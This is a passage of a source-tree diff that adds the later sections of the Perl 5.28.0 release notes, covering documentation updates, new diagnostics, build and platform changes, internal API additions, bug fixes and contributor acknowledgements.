+=head3 L<perlobj>
+
+=over 4
+
+=item *
+
+The documentation about C<DESTROY> methods has been corrected, updated,
+and revised, especially in regard to how they interact with exceptions.
+L<[perl #122753]|https://rt.perl.org/Ticket/Display.html?id=122753>
+
+=back
+
+=head3 L<perlop>
+
+=over 4
+
+=item *
+
+The description of the C<x> operator in L<perlop> has been clarified.
+L<[perl #132460]|https://rt.perl.org/Ticket/Display.html?id=132460>
+
+=item *
+
+L<perlop> has been updated to note that C<qw>'s whitespace rules differ
+from that of C<split>'s in that only ASCII whitespace is used.
+
+=item *
+
+The general explanation of operator precedence and associativity has
+been corrected and clarified.
+L<[perl #127391]|https://rt.perl.org/Ticket/Display.html?id=127391>
+
+=item *
+
+The documentation for the C<\> referencing operator now explains the
+unusual context that it supplies to its operand.
+L<[perl #131061]|https://rt.perl.org/Ticket/Display.html?id=131061>
+
+=back
+
+=head3 L<perlrequick>
+
+=over 4
+
+=item *
+
+Clarifications on metacharacters and character classes
+
+=back
+
+=head3 L<perlretut>
+
+=over 4
+
+=item *
+
+Clarify metacharacters.
+
+=back
+
+=head3 L<perlrun>
+
+=over 4
+
+=item *
+
+Clarify the differences between B<< -M >> and B<< -m >>.
+L<[perl #131518]|https://rt.perl.org/Ticket/Display.html?id=131518>
+
+=back
+
+=head3 L<perlsec>
+
+=over 4
+
+=item *
+
+The documentation about set-id scripts has been updated and revised.
+L<[perl #74142]|https://rt.perl.org/Ticket/Display.html?id=74142>
+
+=item *
+
+A section about using C<sudo> to run Perl scripts has been added.
+
+=back
+
+=head3 L<perlsyn>
+
+=over 4
+
+=item *
+
+The section "Truth and Falsehood" in L<perlsyn> has been removed from
+that document, where it didn't belong, and merged into the existing
+paragraph on the same topic in L<perldata>.
+
+=item *
+
+The means to disambiguate between code blocks and hash constructors,
+already documented in L<perlref>, are now documented in L<perlsyn> too.
+L<[perl #130958]|https://rt.perl.org/Ticket/Display.html?id=130958>
+
+=back
+
+=head3 L<perluniprops>
+
+=over 4
+
+=item *
+
+L<perluniprops> has been updated to note that C<\p{Word}> now includes
+code points matching the C<\p{Join_Control}> property. The change to
+the property was made in Perl 5.18, but not documented until now. There
+are currently only two code points that match this property U+200C (ZERO
+WIDTH NON-JOINER) and U+200D (ZERO WIDTH JOINER).
+
+=item *
+
+For each binary table or property, the documentation now includes which
+characters in the range C<\x00-\xFF> it matches, as well as a list of
+the first few ranges of code points matched above that.
+
+=back
+
+=head3 L<perlvar>
+
+=over 4
+
+=item *
+
+The entry for C<$+> in perlvar has been expanded upon to describe handling of
+multiply-named capturing groups.
+
+=back
+
+=head3 L<perlfunc>, L<perlop>, L<perlsyn>
+
+=over 4
+
+=item *
+
+In various places, improve the documentation of the special cases
+in the condition expression of a while loop, such as implicit C<defined>
+and assignment to C<$_>.
+L<[perl #132644]|https://rt.perl.org/Ticket/Display.html?id=132644>
+
+=back
+
+=head1 Diagnostics
+
+The following additions or changes have been made to diagnostic output,
+including warnings and fatal error messages. For the complete list of
+diagnostic messages, see L<perldiag>.
+
+=head2 New Diagnostics
+
+=head3 New Errors
+
+=over 4
+
+=item *
+
+L<Can't "goto" into a "given" block|perldiag/"Can't E<quot>gotoE<quot> into a E<quot>givenE<quot> block">
+
+(F) A "goto" statement was executed to jump into the middle of a C<given>
+block. You can't get there from here. See L<perlfunc/goto>.
+
+=item *
+
+L<Can't "goto" into a binary or list expression|perldiag/"Can't E<quot>gotoE<quot> into a binary or list expression">
+
+Use of C<goto> to jump into the parameter of a binary or list operator has
+been prohibited, to prevent crashes and stack corruption.
+L<[perl #130936]|https://rt.perl.org/Ticket/Display.html?id=130936>
+
+You may only enter the I<first> argument of an operator that takes a fixed
+number of arguments, since this is a case that will not cause stack
+corruption.
+L<[perl #132854]|https://rt.perl.org/Ticket/Display.html?id=132854>
+
+=back
+
+=head3 New Warnings
+
+=over 4
+
+=item *
+
+L<Old package separator used in string|perldiag/"Old package separator used in string">
+
+(W syntax) You used the old package separator, "'", in a variable
+named inside a double-quoted string; e.g., C<"In $name's house">. This
+is equivalent to C<"In $name::s house">. If you meant the former, put
+a backslash before the apostrophe (C<"In $name\'s house">).
+
+=item *
+
+L<perldiag/Locale '%s' contains (at least) the following characters which
+have unexpected meanings: %s The Perl program will use the expected
+meanings>
+
+=back
+
+=head2 Changes to Existing Diagnostics
+
+=over 4
+
+=item *
+
+A false-positive warning that was issued when using a
+numerically-quantified sub-pattern in a recursive regex has been
+silenced. L<[perl #131868]|https://rt.perl.org/Public/Bug/Display.html?id=131868>
+
+=item *
+
+The warning about useless use of a concatenation operator in void context
+is now generated for expressions with multiple concatenations, such as
+C<$a.$b.$c>, which used to mistakenly not warn.
+L<[perl #6997]|https://rt.perl.org/Ticket/Display.html?id=6997>
+
+=item *
+
+Warnings that a variable or subroutine "masks earlier declaration in same
+...", or that an C<our> variable has been redeclared, have been moved to a
+new warnings category "shadow". Previously they were in category "misc".
+
+=item *
+
+The deprecation warning from C<Sys::Hostname::hostname()> saying that
+it doesn't accept arguments now states the Perl version in which the
+warning will be upgraded to an error.
+L<[perl #124349]|https://rt.perl.org/Ticket/Display.html?id=124349>
+
+=item *
+
+The L<perldiag> entry for the error regarding a set-id script has been
+expanded to make clear that the error is reporting a specific security
+vulnerability, and to advise how to fix it.
+
+=item *
+
+The C<< Unable to flush stdout >> error message was missing a trailing
+newline. [debian #875361]
+
+=back
+
+=head1 Utility Changes
+
+=head2 L<perlbug>
+
+=over 4
+
+=item *
+
+C<--help> and C<--version> options have been added.
+
+=back
+
+=head1 Configuration and Compilation
+
+=over 4
+
+=item * C89 requirement
+
+Perl has been documented as requiring a C89 compiler to build since October
+1998. A variety of simplifications have now been made to Perl's internals to
+rely on the features specified by the C89 standard. We believe that this
+internal change hasn't altered the set of platforms that Perl builds on, but
+please report a bug if Perl now has new problems building on your platform.
+
+=item *
+
+On GCC, C<-Werror=pointer-arith> is now enabled by default,
+disallowing arithmetic on void and function pointers.
+
+=item *
+
+Where an HTML version of the documentation is installed, the HTML
+documents now use relative links to refer to each other. Links from
+the index page of L<perlipc> to the individual section documents are
+now correct.
+L<[perl #110056]|https://rt.perl.org/Ticket/Display.html?id=110056>
+
+=item *
+
+F<lib/unicore/mktables> now correctly canonicalizes the names of the
+dependencies stored in the files it generates.
+
+F<regen/mk_invlists.pl>, unlike the other F<regen/*.pl> scripts, used
+C<$0> to name itself in the dependencies stored in the files it
+generates. It now uses a literal so that the path stored in the
+generated files doesn't depend on how F<regen/mk_invlists.pl> is
+invoked.
+
+This lack of canonical names could cause test failures in F<t/porting/regen.t>.
+L<[perl #132925]|https://rt.perl.org/Ticket/Display.html?id=132925>
+
+=item * New probes
+
+=over 2
+
+=item HAS_BUILTIN_ADD_OVERFLOW
+
+=item HAS_BUILTIN_MUL_OVERFLOW
+
+=item HAS_BUILTIN_SUB_OVERFLOW
+
+=item HAS_THREAD_SAFE_NL_LANGINFO_L
+
+=item HAS_LOCALECONV_L
+
+=item HAS_MBRLEN
+
+=item HAS_MBRTOWC
+
+=item HAS_MEMRCHR
+
+=item HAS_NANOSLEEP
+
+=item HAS_STRNLEN
+
+=item HAS_STRTOLD_L
+
+=item I_WCHAR
+
+=back
+
+=back
+
+=head1 Testing
+
+=over 4
+
+=item *
+
+Testing of the XS-APItest directory is now done in parallel, where
+applicable.
+
+=item *
+
+Perl now includes a default F<.travis.yml> file for Travis CI testing
+on github mirrors.
+L<[perl #123981]|https://rt.perl.org/Ticket/Display.html?id=123981>
+
+=item *
+
+The watchdog timer count in F<re/pat_psycho.t> can now be overridden.
+
+This test can take a long time to run, so there is a timer to keep
+this in check (currently, 5 minutes). This commit adds checking
+the environment variable C<< PERL_TEST_TIME_OUT_FACTOR >>; if set,
+the time out setting is multiplied by its value.
+
+=item *
+
+F<harness> no longer waits for 30 seconds when running F<t/io/openpid.t>.
+L<[perl #121028]|https://rt.perl.org/Ticket/Display.html?id=121028>
+L<[perl #132867]|https://rt.perl.org/Ticket/Display.html?id=132867>
+
+=back
+
+=head1 Packaging
+
+For the past few years we have released perl using three different archive
+formats: bzip (C<.bz2>), LZMA2 (C<.xz>) and gzip (C<.gz>). Since xz compresses
+better and decompresses faster, and gzip is more compatible and uses less
+memory, we have dropped the C<.bz2> archive format with this release.
+(If this poses a problem, do let us know; see L</Reporting Bugs>, below.)
+
+=head1 Platform Support
+
+=head2 Discontinued Platforms
+
+=over 4
+
+=item PowerUX / Power MAX OS
+
+Compiler hints and other support for these apparently long-defunct
+platforms has been removed.
+
+=back
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item CentOS
+
+Compilation on CentOS 5 is now fixed.
+
+=item Cygwin
+
+A build with the quadmath library can now be done on Cygwin.
+
+=item Darwin
+
+Perl now correctly uses reentrant functions, like C<asctime_r>, on
+versions of Darwin that have support for them.
+
+=item FreeBSD
+
+FreeBSD's F<< /usr/share/mk/sys.mk >> specifies C<< -O2 >> for
+architectures other than ARM and MIPS. By default, perl is now compiled
+with the same optimization levels.
+
+=item VMS
+
+Several fix-ups for F<configure.com>, marking function VMS has
+(or doesn't have).
+
+CRTL features can now be set by embedders before invoking Perl by using
+the C<decc$feature_set> and C<decc$feature_set_value> functions.
+Previously any attempt to set features after image initialization were
+ignored.
+
+=item Windows
+
+=over 4
+
+=item *
+
+Support for compiling perl on Windows using Microsoft Visual Studio 2017
+(containing Visual C++ 14.1) has been added.
+
+=item *
+
+Visual C++ compiler version detection has been improved to work on non-English
+language systems.
+
+=item *
+
+We now set C<$Config{libpth}> correctly for 64-bit builds using Visual C++
+versions earlier than 14.1.
+
+=back
+
+=back
+
+=head1 Internal Changes
+
+=over 4
+
+=item *
+
+A new optimisation phase has been added to the compiler,
+C<optimize_optree()>, which does a top-down scan of a complete optree
+just before the peephole optimiser is run. This phase is not currently
+hookable.
+
+=item *
+
+An C<OP_MULTICONCAT> op has been added. At C<optimize_optree()> time, a
+chain of C<OP_CONCAT> and C<OP_CONST> ops, together optionally with an
+C<OP_STRINGIFY> and/or C<OP_SASSIGN>, are combined into a single
+C<OP_MULTICONCAT> op. The op is of type C<UNOP_AUX>, and the aux array
+contains the argument count, plus a pointer to a constant string and a set
+of segment lengths. For example with
+
+ my $x = "foo=$foo, bar=$bar\n";
+
+the constant string would be C<"foo=, bar=\n"> and the segment lengths
+would be (4,6,1). If the string contains characters such as C<\x80>, whose
+representation changes under utf8, two sets of strings plus lengths are
+precomputed and stored.
+
+=item *
+
+Direct access to L<C<PL_keyword_plugin>|perlapi/PL_keyword_plugin> is not
+safe in the presence of multithreading. A new
+L<C<wrap_keyword_plugin>|perlapi/wrap_keyword_plugin> function has been
+added to allow XS modules to safely define custom keywords even when
+loaded from a thread, analogous to L<C<PL_check>|perlapi/PL_check> /
+L<C<wrap_op_checker>|perlapi/wrap_op_checker>.
+
+=item *
+
+The C<PL_statbuf> interpreter variable has been removed.
+
+=item *
+
+The deprecated function C<to_utf8_case()>, accessible from XS code, has
+been removed.
+
+=item *
+
+A new function
+L<C<is_utf8_invariant_string_loc()>|perlapi/is_utf8_invariant_string_loc>
+has been added that is like
+L<C<is_utf8_invariant_string()>|perlapi/is_utf8_invariant_string>
+but takes an extra pointer parameter into which is stored the location
+of the first variant character, if any are found.
+
+=item *
+
+A new function, L<C<Perl_langinfo()>|perlapi/Perl_langinfo> has been
+added. It is an (almost) drop-in replacement for the system
+C<nl_langinfo(3)>, but works on platforms that lack that; as well as
+being more thread-safe, and hiding some gotchas with locale handling
+from the caller. Code that uses this, needn't use L<C<localeconv(3)>>
+(and be affected by the gotchas) to find the decimal point, thousands
+separator, or currency symbol. See L<perlapi/Perl_langinfo>.
+
+=item *
+
+A new API function L<C<sv_rvunweaken()>|perlapi/sv_rvunweaken> has
+been added to complement L<C<sv_rvweaken()>|perlapi/sv_rvweaken>.
+The implementation was taken from L<Scalar::Util/unweaken>.
+
+=item *
+
+A new flag, C<SORTf_UNSTABLE>, has been added. This will allow a
+future commit to make mergesort unstable when the user specifies ‘no
+sort stable’, since it has been decided that mergesort should remain
+stable by default.
+
+=item *
+
+XS modules can now automatically get reentrant versions of system
+functions on threaded perls.
+
+By adding
+
+ #define PERL_REENTRANT
+
+near the beginning of an C<XS> file, it will be compiled so that
+whatever reentrant functions perl knows about on that system will
+automatically and invisibly be used instead of the plain, non-reentrant
+versions. For example, if you write C<getpwnam()> in your code, on a
+system that has C<getpwnam_r()> all calls to the former will be translated
+invisibly into the latter. This does not happen except on threaded
+perls, as they aren't needed otherwise. Be aware that which functions
+have reentrant versions varies from system to system.
+
+=item *
+
+The C<PERL_NO_OP_PARENT> build define is no longer supported, which means
+that perl is now always built with C<PERL_OP_PARENT> enabled.
+
+=item *
+
+The format and content of the non-utf8 transliteration table attached to
+the C<op_pv> field of C<OP_TRANS>/C<OP_TRANSR> ops has changed. It's now a
+C<struct OPtrans_map>.
+
+=item *
+
+A new compiler C<#define>, C<dTHX_DEBUGGING>. has been added. This is
+useful for XS or C code that only need the thread context because their
+debugging statements that get compiled only under C<-DDEBUGGING> need
+one.
+
+=item *
+
+A new API function L<perlapi/Perl_setlocale> has been added.
+
+=item *
+
+L<perlapi/sync_locale> has been revised to return a boolean as to
+whether the system was using the global locale or not.
+
+=item *
+
+A new kind of magic scalar, called a "nonelem" scalar, has been introduced.
+It is stored in an array to denote a non-existent element, whenever such an
+element is accessed in a potential lvalue context. It replaces the
+existing "defelem" (deferred element) magic wherever this is possible,
+being significantly more efficient. This means that
+C<some_sub($sparse_array[$nonelem])> no longer has to create a new magic
+defelem scalar each time, as long as the element is within the array.
+
+It partially fixes the rare bug of deferred elements getting out of synch
+with their arrays when the array is shifted or unshifted.
+L<[perl #132729]|https://rt.perl.org/Ticket/Display.html?id=132729>
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+List assignment (C<aassign>) could in some rare cases allocate an
+entry on the mortals stack and leave the entry uninitialized, leading to
+possible crashes.
+L<[perl #131570]|https://rt.perl.org/Ticket/Display.html?id=131570>
+
+=item *
+
+Attempting to apply an attribute to an C<our> variable where a
+function of that name already exists could result in a NULL pointer
+being supplied where an SV was expected, crashing perl.
+L<[perl #131597]|https://rt.perl.org/Ticket/Display.html?id=131597>
+
+=item *
+
+C<split ' '> now correctly handles the argument being split when in the
+scope of the L<< C<unicode_strings>|feature/"The 'unicode_strings' feature"
+>> feature. Previously, when a string using the single-byte internal
+representation contained characters that are whitespace by Unicode rules but
+not by ASCII rules, it treated those characters as part of fields rather
+than as field separators.
+L<[perl #130907]|https://rt.perl.org/Ticket/Display.html?id=130907>
+
+=item *
+
+Several built-in functions previously had bugs that could cause them to
+write to the internal stack without allocating room for the item being
+written. In rare situations, this could have led to a crash. These bugs have
+now been fixed, and if any similar bugs are introduced in future, they will
+be detected automatically in debugging builds.
+
+These internal stack usage checks introduced are also done
+by the C<entersub> operator when calling XSUBs. This means we can
+report which XSUB failed to allocate enough stack space.
+L<[perl #131975]|https://rt.perl.org/Public/Bug/Display.html?id=131975>
+
+=item *
+
+Using a symbolic ref with postderef syntax as the key in a hash lookup was
+yielding an assertion failure on debugging builds.
+L<[perl #131627]|https://rt.perl.org/Ticket/Display.html?id=131627>
+
+=item *
+
+Array and hash variables whose names begin with a caret now admit indexing
+inside their curlies when interpolated into strings, as in C<<
+"${^CAPTURE[0]}" >> to index C<@{^CAPTURE}>.
+L<[perl #131664]|https://rt.perl.org/Ticket/Display.html?id=131664>
+
+=item *
+
+Fetching the name of a glob that was previously UTF-8 but wasn't any
+longer would return that name flagged as UTF-8.
+L<[perl #131263]|https://rt.perl.org/Ticket/Display.html?id=131263>
+
+=item *
+
+The perl C<sprintf()> function (via the underlying C function
+C<Perl_sv_vcatpvfn_flags()>) has been heavily reworked to fix many minor
+bugs, including the integer wrapping of large width and precision
+specifiers and potential buffer overruns. It has also been made faster in
+many cases.
+
+=item *
+
+Exiting from an C<eval>, whether normally or via an exception, now always
+frees temporary values (possibly calling destructors) I<before> setting
+C<$@>. For example:
+
+ sub DESTROY { eval { die "died in DESTROY"; } }
+ eval { bless []; };
+ # $@ used to be equal to "died in DESTROY" here; it's now "".
+
+=item *
+
+Fixed a duplicate symbol failure with C<-flto -mieee-fp> builds.
+F<pp.c> defined C<_LIB_VERSION> which C<-lieee> already defines.
+L<[perl #131786]|https://rt.perl.org/Ticket/Display.html?id=131786>
+
+=item *
+
+The tokenizer no longer consumes the exponent part of a floating
+point number if it's incomplete.
+L<[perl #131725]|https://rt.perl.org/Ticket/Display.html?id=131725>
+
+=item *
+
+On non-threaded builds, for C<m/$null/> where C<$null> is an empty
+string is no longer treated as if the C</o> flag was present when the
+previous matching match operator included the C</o> flag. The
+rewriting used to implement this behavior could confuse the
+interpreter. This matches the behaviour of threaded builds.
+L<[perl #124368]|https://rt.perl.org/Ticket/Display.html?id=124368>
+
+=item *
+
+Parsing a C<sub> definition could cause a use after free if the C<sub>
+keyword was followed by whitespace including newlines (and comments.)
+L<[perl #131836]|https://rt.perl.org/Public/Bug/Display.html?id=131836>
+
+=item *
+
+The tokenizer now correctly adjusts a parse pointer when skipping
+whitespace in a C<< ${identifier} >> construct.
+L<[perl #131949]|https://rt.perl.org/Public/Bug/Display.html?id=131949>
+
+=item *
+
+Accesses to C<${^LAST_FH}> no longer assert after using any of a
+variety of I/O operations on a non-glob.
+L<[perl #128263]|https://rt.perl.org/Public/Bug/Display.html?id=128263>
+
+=item *
+
+The XS-level C<Copy()>, C<Move()>, C<Zero()> macros and their variants now
+assert if the pointers supplied are C<NULL>. ISO C considers
+supplying NULL pointers to the functions these macros are built upon
+as undefined behaviour even when their count parameters are zero.
+Based on these assertions and the original bug report three macro
+calls were made conditional.
+L<[perl #131746]|https://rt.perl.org/Public/Bug/Display.html?id=131746>
+L<[perl #131892]|https://rt.perl.org/Public/Bug/Display.html?id=131892>
+
+=item *
+
+Only the C<=> operator is permitted for defining defaults for
+parameters in subroutine signatures. Previously other assignment
+operators, e.g. C<+=>, were also accidentally permitted.
+L<[perl #131777]|https://rt.perl.org/Public/Bug/Display.html?id=131777>
+
+=item *
+
+Package names are now always included in C<:prototype> warnings
+L<[perl #131833]|https://rt.perl.org/Public/Bug/Display.html?id=131833>
+
+=item *
+
+The C<je_old_stack_hwm> field, previously only found in the C<jmpenv>
+structure on debugging builds, has been added to non-debug builds as
+well. This fixes an issue with some CPAN modules caused by the size of
+this structure varying between debugging and non-debugging builds.
+L<[perl #131942]|https://rt.perl.org/Public/Bug/Display.html?id=131942>
+
+=item *
+
+The arguments to the C<ninstr()> macro are now correctly parenthesized.
+
+=item *
+
+A NULL pointer dereference in the C<S_regmatch()> function has been
+fixed.
+L<[perl #132017]|https://rt.perl.org/Public/Bug/Display.html?id=132017>
+
+=item *
+
+Calling L<exec PROGRAM LIST|perlfunc/exec PROGRAM LIST> with an empty C<LIST>
+has been fixed. This should call C<execvp()> with an empty C<argv> array
+(containing only the terminating C<NULL> pointer), but was instead just
+returning false (and not setting L<C<$!>|perlvar/$!>).
+L<[perl #131730]|https://rt.perl.org/Public/Bug/Display.html?id=131730>
+
+=item *
+
+The C<gv_fetchmeth_sv> C function stopped working properly in Perl 5.22 when
+fetching a constant with a UTF-8 name if that constant subroutine was stored in
+the stash as a simple scalar reference, rather than a full typeglob. This has
+been corrected.
+
+=item *
+
+Single-letter debugger commands followed by an argument which starts with
+punctuation (e.g. C<p$^V> and C<x@ARGV>) now work again. They had been
+wrongly requiring a space between the command and the argument.
+L<[perl #120174]|https://rt.perl.org/Public/Bug/Display.html?id=120174>
+
+=item *
+
+L<splice|perlfunc/splice ARRAY,OFFSET,LENGTH,LIST> now throws an exception
+("Modification of a read-only value attempted") when modifying a read-only
+array. Until now it had been silently modifying the array. The new behaviour
+is consistent with the behaviour of L<push|perlfunc/push ARRAY,LIST> and
+L<unshift|perlfunc/unshift ARRAY,LIST>.
+L<[perl #131000]|https://rt.perl.org/Public/Bug/Display.html?id=131000>
+
+=item *
+
+C<stat()>, C<lstat()>, and file test operators now fail if given a
+filename containing a nul character, in the same way that C<open()>
+already fails.
+
+=item *
+
+C<stat()>, C<lstat()>, and file test operators now reliably set C<$!> when
+failing due to being applied to a closed or otherwise invalid file handle.
+
+=item *
+
+File test operators for Unix permission bits that don't exist on a
+particular platform, such as C<-k> (sticky bit) on Windows, now check that
+the file being tested exists before returning the blanket false result,
+and yield the appropriate errors if the argument doesn't refer to a file.
+
+=item *
+
+Fixed a 'read before buffer' overrun when parsing a range starting with
+C<\N{}> at the beginning of the character set for the transliteration
+operator.
+L<[perl #132245]|https://rt.perl.org/Ticket/Display.html?id=132245>
+
+=item *
+
+Fixed a leaked scalar when parsing an empty C<\N{}> at compile-time.
+L<[perl #132245]|https://rt.perl.org/Ticket/Display.html?id=132245>
+
+=item *
+
+Calling C<do $path> on a directory or block device now yields a meaningful
+error code in C<$!>.
+L<[perl #125774]|https://rt.perl.org/Ticket/Display.html?id=125774>
+
+=item *
+
+Regexp substitution using an overloaded replacement value that provides
+a tainted stringification now correctly taints the resulting string.
+L<[perl #115266]|https://rt.perl.org/Ticket/Display.html?id=115266>
+
+=item *
+
+Lexical sub declarations in C<do> blocks such as C<do { my sub lex; 123 }>
+could corrupt the stack, erasing items already on the stack in the
+enclosing statement. This has been fixed.
+L<[perl #132442]|https://rt.perl.org/Ticket/Display.html?id=132442>
+
+=item *
+
+C<pack> and C<unpack> can now handle repeat counts and lengths that
+exceed two billion.
+L<[perl #119367]|https://rt.perl.org/Ticket/Display.html?id=119367>
+
+=item *
+
+Digits past the radix point in octal and binary floating point literals
+now have the correct weight on platforms where a floating point
+significand doesn't fit into an integer type.
+
+=item *
+
+The canonical truth value no longer has a spurious special meaning as a
+callable subroutine. It used to be a magic placeholder for a missing
+C<import> or C<unimport> method, but is now treated like any other string
+C<1>.
+L<[perl #126042]|https://rt.perl.org/Ticket/Display.html?id=126042>
+
+=item *
+
+C<system> now reduces its arguments to strings in the parent process, so
+any effects of stringifying them (such as overload methods being called
+or warnings being emitted) are visible in the way the program expects.
+L<[perl #121105]|https://rt.perl.org/Ticket/Display.html?id=121105>
+
+=item *
+
+The C<readpipe()> built-in function now checks at compile time that
+it has only one parameter expression, and puts it in scalar context,
+thus ensuring that it doesn't corrupt the stack at runtime.
+L<[perl #4574]|https://rt.perl.org/Ticket/Display.html?id=4574>
+
+=item *
+
+C<sort> now performs correct reference counting when aliasing C<$a> and
+C<$b>, thus avoiding premature destruction and leakage of scalars if they
+are re-aliased during execution of the sort comparator.
+L<[perl #92264]|https://rt.perl.org/Ticket/Display.html?id=92264>
+
+=item *
+
+C<reverse> with no operand, reversing C<$_> by default, is no longer in
+danger of corrupting the stack.
+L<[perl #132544]|https://rt.perl.org/Ticket/Display.html?id=132544>
+
+=item *
+
+C<exec>, C<system>, et al are no longer liable to have their argument
+lists corrupted by reentrant calls and by magic such as tied scalars.
+L<[perl #129888]|https://rt.perl.org/Ticket/Display.html?id=129888>
+
+=item *
+
+Perl's own C<malloc> no longer gets confused by attempts to allocate
+more than a gigabyte on a 64-bit platform.
+L<[perl #119829]|https://rt.perl.org/Ticket/Display.html?id=119829>
+
+=item *
+
+Stacked file test operators in a sort comparator expression no longer
+cause a crash.
+L<[perl #129347]|https://rt.perl.org/Ticket/Display.html?id=129347>
+
+=item *
+
+An identity C<tr///> transformation on a reference is no longer mistaken
+for that reference for the purposes of deciding whether it can be
+assigned to.
+L<[perl #130578]|https://rt.perl.org/Ticket/Display.html?id=130578>
+
+=item *
+
+Lengthy hexadecimal, octal, or binary floating point literals no
+longer cause undefined behaviour when parsing digits that are of such
+low significance that they can't affect the floating point value.
+L<[perl #131894]|https://rt.perl.org/Ticket/Display.html?id=131894>
+
+=item *
+
+C<open $$scalarref...> and similar invocations no longer leak the file
+handle.
+L<[perl #115814]|https://rt.perl.org/Ticket/Display.html?id=115814>
+
+=item *
+
+Some convoluted kinds of regexp no longer cause an arithmetic overflow
+when compiled.
+L<[perl #131893]|https://rt.perl.org/Ticket/Display.html?id=131893>
+
+=item *
+
+The default typemap, by avoiding C<newGVgen>, now no longer leaks when
+XSUBs return file handles (C<PerlIO *> or C<FILE *>).
+L<[perl #115814]|https://rt.perl.org/Ticket/Display.html?id=115814>
+
+=item *
+
+Creating a C<BEGIN> block as an XS subroutine with a prototype no longer
+crashes because of the early freeing of the subroutine.
+
+=item *
+
+The C<printf> format specifier C<%.0f> no longer rounds incorrectly
+L<[perl #47602]|https://rt.perl.org/Ticket/Display.html?id=47602>,
+and now shows the correct sign for a negative zero.
+
+=item *
+
+Fixed an issue where the error C<< Scalar value @arrayname[0] better
+written as $arrayname >> would give an error C<< Cannot printf Inf with 'c' >>
+when arrayname starts with C<< Inf >>.
+L<[perl #132645]|https://rt.perl.org/Ticket/Display.html?id=132645>
+
+=item *
+
+The Perl implementation of C<< getcwd() >> in C<< Cwd >> in the PathTools
+distribution now behaves the same as XS implementation on errors: it
+returns an error, and sets C<< $! >>.
+L<[perl #132648]|https://rt.perl.org/Ticket/Display.html?id=132648>
+
+=item *
+
+Vivify array elements when putting them on the stack.
+Fixes L<[perl #8910]|https://rt.perl.org/Ticket/Display.html?id=8910>
+(reported in April 2002).
+
+=item *
+
+Fixed parsing of braced subscript after parens. Fixes
+L<[perl #8045]|https://rt.perl.org/Ticket/Display.html?id=8045>
+(reported in December 2001).
+
+=item *
+
+C<tr/non_utf8/long_non_utf8/c> could give the wrong results when the
+length of the replacement character list was greater than 0x7fff.
+
+=item *
+
+C<tr/non_utf8/non_utf8/cd> failed to add the implied
+C<\x{100}-\x{7fffffff}> to the search character list.
+
+=item *
+
+Compilation failures within "perl-within-perl" constructs, such as with
+string interpolation and the right part of C<s///e>, now cause
+compilation to abort earlier.
+
+Previously compilation could continue in order to report other errors,
+but the failed sub-parse could leave partly parsed constructs on the
+parser shift-reduce stack, confusing the parser, leading to perl
+crashes.
+L<[perl #125351]|https://rt.perl.org/Ticket/Display.html?id=125351>
+
+=item *
+
+On threaded perls where the decimal point (radix) character is not a
+dot, it has been possible for a race to occur between threads when one
+needs to use the real radix character (such as with C<sprintf>). This has
+now been fixed by use of a mutex on systems without thread-safe locales,
+and the problem just doesn't come up on those with thread-safe locales.
+
+=item *
+
+Errors while compiling a regex character class could sometime trigger an
+assertion failure.
+L<[perl #132163]|https://rt.perl.org/Ticket/Display.html?id=132163>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.28.0 represents approximately 13 months of development since Perl
+5.26.0 and contains approximately 730,000 lines of changes across 2,200
+files from 77 authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 580,000 lines of changes to 1,300 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its fourth decade thanks to a vibrant
+community of users and developers. The following people are known to have
+contributed the improvements that became Perl 5.28.0:
+
+Aaron Crane, Abigail, Ævar Arnfjörð Bjarmason, Alberto Simões, Alexandr
+Savca, Andrew Fresh, Andy Dougherty, Andy Lester, Aristotle Pagaltzis, Ask
+Bjørn Hansen, Chris 'BinGOs' Williams, Craig A. Berry, Dagfinn Ilmari
+Mannsåker, Dan Collins, Daniel Dragan, David Cantrell, David Mitchell,
+Dmitry Ulanov, Dominic Hargreaves, E. Choroba, Eric Herman, Eugen Konkov,
+Father Chrysostomos, Gene Sullivan, George Hartzell, Graham Knop, Harald
+Jörg, H.Merijn Brand, Hugo van der Sanden, Jacques Germishuys, James E
+Keenan, Jarkko Hietaniemi, Jerry D. Hedden, J. Nick Koston, John Lightsey,
+John Peacock, John P. Linderman, John SJ Anderson, Karen Etheridge, Karl
+Williamson, Ken Brown, Ken Cotterill, Leon Timmermans, Lukas Mai, Marco
+Fontani, Marc-Philip Werner, Matthew Horsfall, Neil Bowers, Nicholas Clark,
+Nicolas R., Niko Tyni, Pali, Paul Marquess, Peter John Acklam, Reini Urban,
+Renee Baecker, Ricardo Signes, Robin Barker, Sawyer X, Scott Lanning, Sergey
+Aleynikov, Shirakata Kentaro, Shoichi Kaji, Slaven Rezic, Smylers, Steffen
+Müller, Steve Hay, Sullivan Beck, Thomas Sibley, Todd Rinaldo, Tomasz
+Konojacki, Tom Hukins, Tom Wyant, Tony Cook, Vitali Peil, Yves Orton,
+Zefram.
+
+The list above is almost certainly incomplete as it is automatically
+generated from version control history. In particular, it does not include
+the names of the (very much appreciated) contributors who reported issues to
+the Perl bug tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core. We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please
+see the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database
+at L<https://rt.perl.org/> . There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release. Be sure to trim your bug down to a tiny but
+sufficient test case. Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug@perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5,
+you can do so by running the C<perlthanks> program:
+
+ perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perl561delta.pod b/gnu/usr.bin/perl/pod/perl561delta.pod
index 49ff54f8983..1ccc85a2653 100644
